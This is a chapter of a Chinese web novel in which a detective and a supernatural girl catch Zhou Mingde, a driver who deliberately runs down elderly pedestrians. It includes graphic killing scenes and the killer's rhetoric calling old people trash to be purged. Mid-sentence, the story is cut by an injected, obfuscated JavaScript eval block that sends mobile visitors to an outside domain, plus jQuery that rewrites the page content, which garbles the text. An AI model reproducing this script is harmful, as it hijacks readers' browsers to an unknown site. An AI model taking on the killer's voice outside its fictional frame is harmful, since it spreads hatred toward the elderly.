默认冷灰
24号文字
方正启体

10. 狩猎

作者:祈容本书字数:K更新时间:
    “你的推测没错。”薛宓捏着根薯条,在番茄酱里慢悠悠划了个叉,“恶念早已在周明德心里扎根。寻常人作案失败后会心虚恐惧,就像李武总,黑雾会因恐惧慢慢消散。但周明德不一样。他享受这种刺激,失败反而让他更兴奋了。最迟三天,他一定会再动手。”


    “需要我帮忙吗?”她笑着歪了歪头。


    薛宓能洞见人心的恶念,能通过黑雾浓度的变化预判犯罪,这无疑是天降的外挂。


    但贺黎筠却摇了摇头:“警察没你想的那么没用。”他声音虽轻,却字字清晰,“我们会靠自己抓住他。”


    他需要薛宓的能力,但不能依赖。


    正如办案必须构建完整的证据链,追凶终究要靠现场痕迹和侦查逻辑。那些黑雾浓度、怨气变化,在法庭上连参考价值都没有。


    实实在在的证据,才是将罪犯绳之以法的唯一途径。


    更何况——


    贺黎筠不动声色地看了眼正叼着薯条的薛宓。


    这个来历不明的生物,谁知道她还藏着什么底牌?现在的他,怎么可能就这样轻易交付出信任。


    翌日晨会,贺黎筠将自己的分析与推测汇报给了队长邱东奇。


    没有物证,没有目击者,只有两起险些酿成事故的行车记录,以及基于行为模式的心理推导。但队里没人敢轻视贺黎筠的直觉。


    前年那桩轰动一时的毒驾案,正是贺黎筠凭借OBD数据锁定了嫌疑人吸毒后的行车模式,最终在对方冲向人群前将其截停。


    全程录像成为铁证,也让贺黎筠年纪轻轻就成了队里的王牌。


    所以仔细看完报告,邱东奇二话没说就签了审批。


    于是当天,贺黎筠亲自带队,指挥中心实时定位目标车辆,楚子琦等三名刑警在外围策应,伪装成网约车司机、外卖员等角色,重点记录目标所有异常驾驶行为,包括但不限于刻意贴近老年人、无故急刹、反复探头张望等可疑动作。


    技术队则提供后台支持,着手构建周明德的行为模型,分析其活动规律与潜在作案区域。


    就这样,贺黎筠带着小队在暗处监视了周明德一周。直到第九天的傍晚,天色骤然阴沉,符合周明德作案的雨夜来临了。


    密集的雨点噼里啪啦地砸落下来,很快连成一片滂沱的雨幕。


    手指无意识地敲击着方向盘,周明德望着前方模糊的路灯。车窗上的雨滴扭曲了视线,像一层流动的玻璃,将世界切割成碎片。


    就像那天——2015年6月17日,也是这样的雨天。


    那个老人是从右侧盲区突然出现的,像一只不知死活的飞蛾扑向火焰。周明德甚至没来得及踩刹车,只听见“砰”的一声闷响,接着是玻璃碎裂的清脆声响,老人的身体就如同一滩烂泥砸在了挡风玻璃上。


    布满皱纹的脸紧贴在碎裂的玻璃上,浑浊的眼睛因恐惧而瞪大,瞳孔却因绝望无限地缩小。鲜血从老人开裂的眼角渗出,混着雨水在玻璃上蜿蜒。


    “救……救……”老人破碎的声音透过玻璃传来,手指无力地在玻璃上抓挠,留下几道挣扎的血痕。


    周明德当时整个人僵在座位上,看着生命从那双眼睛里一点点流逝,身体渐渐在挣扎中静止,只剩下雨水冲刷着那张定格在惊恐中的脸。


    “滴——”后方车辆的喇叭声将他拉回现实。绿灯亮起,他机械地松开刹车,面包车缓缓前行。


    最初几个月,这个画面每晚都会闯入他的梦境。他会大汗淋漓地醒来,心脏狂跳不止,仿佛又回到了那个雨天。但奇怪的是,随着时间推移,噩梦逐渐变成了某种……期待?


    周明德舔了舔突然发干的嘴唇。


    他发现自己开始主动回忆那个瞬间,不是为了忏悔,而是为了重温那种奇特的快感——看着一个生命在自己面前消逝,那种掌控生死的感觉。


    ——他们该死。


    这个念头第一次浮现时,他自己都吓了一跳。但很快,这个想法就像癌细胞一样在他脑中扩散。那个老人闯红灯,不守交通规则,难道不该为自己的愚蠢付出代价吗?


    2017年3月的一个清晨,同样是一个雨日,周明德在高速匝道口看到了那辆黑色轿车。车内坐着一对白发苍苍的夫妇,老太太正在对老头说着什么,两人脸上带着退休老人特有的那种无忧无虑的笑容。


    周明德的眼睛眯了起来。他认识这种笑容。他的父母也是这样的表情,每个月准时出现在他的办公室,伸手要钱。


    “你生意做得这么好,给我们点零花钱怎么了?”他们总是这么说,仿佛他生来就是他们的提款机。


    黑色轿车突然变道,没有打转向灯,直接插到了他面包车前面。


    周明德感到一股热流从脊椎窜上后脑。他的脚从刹车上移开,手指紧紧握住方向盘。这不是意外,这是一次测试,一次机会。


    “违反交通规则……”他低声说,声音因兴奋而颤抖,“不守规矩的人……”


    撞击的力道让他的身体猛地前倾,安全带勒进肩膀的疼痛却让他满足地发出了一声叹息。


    黑色轿车旋转着撞向护栏,油箱破裂,火花四溅。


    周明德停下车,冷静地拨打了报警电话,然后坐在驾驶室里,看着火焰吞噬了整个车厢。老夫妇的尖叫声只持续了几秒钟,就被爆裂声淹没了。


    交警判定是同等责任,而那次成功后,周明德再也没做过那个噩梦。


    相反,他会躺在床上,闭上眼睛,任由记忆中的画面在脑海中重播——老人贴在玻璃上的脸,老夫妇在火焰中挣扎的身影……


    这些画面让他心跳加速,血液沸腾,全身因兴奋而微微发麻。


    多么美妙的感觉。


    这个世界老龄化越来越严重,像这种倚老卖老、不守规矩的废物,活着也不过是社会的蛀虫。


    他只是在替天行道罢了。


    清除垃圾。


    净化世界。


    他几乎要笑出声——为什么自己没能早点发现这样的乐趣?


    但前几天,他却失手了……


    思来想去,还是得选雨天。


    他喜欢这样的夜晚。


    雨水冲刷着路面,掩盖轮胎的痕迹。黑暗模糊了监控的视野,而湿滑的地面,会让刹车变得不可靠。


    完美的狩猎场。


    他的目光很快锁定了一个佝偻的身影——一个老人,撑着伞,慢悠悠地走着。


    绿灯即将转为红灯,周明德的嘴角跟着缓缓地上扬。


    这段路他早已踩点多次。没有监控,人行道设在百米开外,那些腿脚不便的老人总爱贪图方便,横穿马路来个“鬼探头”。


    而这个老人,他已经第三次看到他了。


    他轻踩油门,面包车缓缓加速。


    三秒。


    老人毫无察觉,依旧低着头,步履蹒跚。


    两秒。


    周明德的手指收紧,嘴角的笑容却越来越大。


    一秒。


    他的呼吸变得急促,瞳孔微微扩张,仿佛已经看到老人飞起的身体,听到骨骼碎裂的声音,感受到那种掌控生命的快感——


    “砰!”


    刺眼的远光灯突然从侧面射来,一辆黑色轿车猛地横插在他前方,硬生生截断了去路!


    周明德猛地踩下刹车,轮胎在湿滑的路面上打滑,面包车一个失控,狠狠地撞上了路边的护栏。


    他的头重重磕在方向盘上,眼前一阵发黑。


    怎么回事?


    他甩了甩头,试图让自己清醒。


    车窗被敲响。


    周明德抬头,看到一张冷峻且熟悉的脸,竟是上次阻碍他的警察!?


    不仅如此,他的面包车周围竟还围堵着两辆警车!


    “周明德,下车。”


    心脏骤然收紧,像是被一只无形的手狠狠攥住。


    不可能。


    他们不可能知道。


    他明明计算好了,没有监控,没有目击者,一切都像是意外。


    可贺黎筠的眼神明晃晃地告诉他,他们知道!甚至,就等着他动手!


    “你涉嫌故意杀人。现在,下车,举起手来!”


    周明德的呼吸越来越急促,胸口剧烈起伏。


    不,不,不!


    他们没有证据!


    冷静……必须冷静……


    周明德强迫自己放松下来。他缓缓抬起颤抖的手指,解开安全带,脸上适时地浮现出困惑与惊恐交织的表情。


    “警官……您是不是搞错了?我只是……只是正常驾驶啊……”


    他嘴唇微微发抖,连带着下巴都在轻颤,就像个被吓坏的普通市民。主动打开车门时,他甚至刻意让双手保持着可见的颤抖幅度。


    “如果是我违反交规了,我愿意接受处罚……但不能冤枉人啊……”


    “又一个老废物。”话音未落,贺黎筠已经从口袋里掏出一部手机,按下了播放键。


    只见画面里,清晰地记录着周明德撞击前嘴角上扬的表情,那种宛如看见猎物般扭曲的狞笑。


    “这是你车辆的行车记录仪,它记录下了一切。”


    周明德的瞳孔骤然收缩。


    不可能……他明明已经关了!


    冷汗浸透了后背,他死死盯着贺黎筠手中的手机画面,看着那些致命的证据被一一宣判。


    “行车记录仪里有车内音频证据,还拍下了驾驶行为异常记录。”贺黎筠一字一顿地说,“反复绕行老人聚集区,还有撞击前嘴角上扬的微表情。”


    话音刚落,车门已被粗暴地拉开。


    冷风夹着雨水灌了进来,贺黎筠一把拽住周明德的衣领,将他拖出了驾驶室,毫不客气地将他压在车上,铐上了手铐。


    “周明德,你因涉嫌故意杀人罪,现依法对你进行逮捕。”


    雨还在下。


    审讯室里,周明德声音嘶哑地坚称:“警官,开车时遇到乱穿马路的人,谁都会爆粗口吧,总不能因为我骂一句‘老废物’就定我杀人罪吧……那不是笑,是太过惊恐肌肉抽搐了……这怎么能算证据。”


    “前两起都是普通事故,交警都有介入调查,警察同志你们可不能乱冤枉人啊!”


    狡辩了两个小时后,他便一言不发,执意要等律师到场。


    等待律师的过程,戴着手铐的周明德申请想要上厕所。待独自进入厕所,他惶恐的嘴脸立刻变成了不屑和嗤笑。


    没有直接证


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472516|185545||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    据,仅凭行车记录仪里那点模糊画面和几句自言自语就想定他的罪?


    做梦。


    等老子出去……


    然而,就在他准备拉开拉链的瞬间,隔间的门竟“吱呀”一声突然打开了。


    他皱着眉回头,却见一个穿着粉色蓬蓬裙的小女孩慢悠悠地走了出来。


    裙摆上的蕾丝边随着她轻快的步伐微微晃动,小女孩仰起苍白却又精致的小脸,深棕色的眼睛直勾勾地盯着他。


    “周明德。”她歪着头,唇角微扬,“你真的觉得自己没杀人吗?”


    周明德嗤笑:“法律讲证据,小朋友。”


    然而下一秒,他竟猛地感到一阵刺骨的寒意从脊背窜上来。那个小女孩的眼睛,正慢慢地变成了血红色!


    世界骤然扭曲,厕所的场景消失了!


    雨水砸在他脸上,冰冷刺骨,他惊恐地站在马路中央。


    这是……哪里?怎、怎么一回事!?


    还没等他反应过来,耳边突然传来刺耳的刹车声。


    “砰——!”


    剧痛。


    他的身体腾空而起,重重砸在挡风玻璃上。玻璃碎裂,他的脸紧贴着裂痕,鲜血模糊了视线。


    不……不可能……


    他挣扎着想要爬起来,却发现自己的四肢像被钉住一样,动弹不得。


    “救……救我……”


    他的喉咙里挤出破碎的声音,可没人听见。


    驾驶座上,一个模糊的人影冷漠地看着他,嘴角缓缓勾起。


    是他自己!


    周明德浑身发冷。


    这是……被他撞死的人的感受?


    恐惧如潮水般淹没了他。


    他的瞳孔因绝望而收缩,眼眶崩裂,血泪混合着雨水往下淌。


    “不……不要……”


    他拼命挣扎,可生命仍在流逝。


    他要死了。


    他真的……要死了。


    “啊——!!”


    “现在,你还觉得自己没杀人吗?”


    女孩的声音像毒蛇般钻进他的耳道,周明德满脸惊恐地从惨叫中惊醒。


    厕所方向突然传来一声撕心裂肺的惨叫,正探讨怎么进一步逼供的贺黎筠和楚子琦同时变色。


    贺黎筠一个箭步猛地冲了进去,然而看到的却是这么一幕:周明德满脸惨白,像条丧家之犬般瘫在地上发抖,□□一片水迹,不知发生了什么竟吓得不轻。


    而薛宓正乖巧地站在一旁,歪着头露出人畜无害的笑容。


    “你怎么不小心滑倒了?”贺黎筠面不改色地扯谎。


    而听到这话的楚子琦,直接放慢了脚步。


    “你……你看不见她?”


    薛宓早已迅速地溜回了隔间,周明德猛地回头,身旁竟空空如也!


    “周明德,你又想玩什么花样!刚刚厕所里就你一个人!”贺黎筠冷笑,“不会是想装精神病逃脱罪行吧?”


    懒洋洋倚在厕所门口的楚子琦,对着望过来的贺黎筠撇撇嘴,用口型无声地说:“看来要打持久战了。”


    没想到,下一秒,周明德浑身就抖得像筛糠,鼻涕眼泪糊了一脸,满脸惊恐道:“我……我招……我全招!”


    楚子琦:“???”


    他瞪圆了眼睛,手里的笔录本因震惊差点砸到了脚。


    三小时的心理博弈毫无进展,上个厕所就全线崩溃?这他妈是什么新型审讯技巧?!


    这案子破得也太他妈魔幻了!


    “愣着干什么?”将浑身瘫软的周明德带出厕所,贺黎筠头也不回地催促,“做笔录。”


    周明德全招后,审讯顺利得不可思议,每一起“意外”的细节,他都涕泪横流地全交代了。


    贺黎筠推门出来时,目光立刻被走廊长椅上那个小小的身影锁住。她正晃着两条小短腿,等在审讯室的门口。


    刑警支队的人早已眼熟了薛宓,她才能如此轻轻松松地混了进来,甚至有人路过时还顺手揉了揉她的发顶。


    薛宓乖巧地笑着,却在看到贺黎筠的瞬间撇了撇嘴。


    “你太慢了。”见他还好意思沉着脸看着自己,得知他抓到人就赶过来的薛宓鼓着腮帮子抱怨,“我等了三小时你还没搞定,只能自己出马了。”


    是贺黎筠主动打电话让薛宓来的。


    可——


    他眯起眼睛:“你做了什么?让他这么快就招了?”


    “也没做什么,就是让他体验了被撞的感觉而已~”她声音轻快得像个在分享游戏心得的孩子,“一旦产生恐惧的情绪,恶念就能轻松地吞噬了。恶念一被吞噬,他自然就没贼胆了。怎么样,我做的不错吧?”


    确实不错。


    但贺黎筠没有夸她,指节反而无意识地收紧。


    一个力量衰弱期都能轻轻松松制造出幻境的存在,真的太危险了。


    若她真的到全盛时期呢?


    贺黎筠这样想着,薄唇紧抿成一条线,就见薛宓突然把身旁的一大袋子递了过来。


    “喏,等你无聊时买的披萨。钱是借你工位旁边那个漂亮小姐姐的,就是刚刚揉我头的那个,花了八十八。记得还哦。”


    贺黎筠:“……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)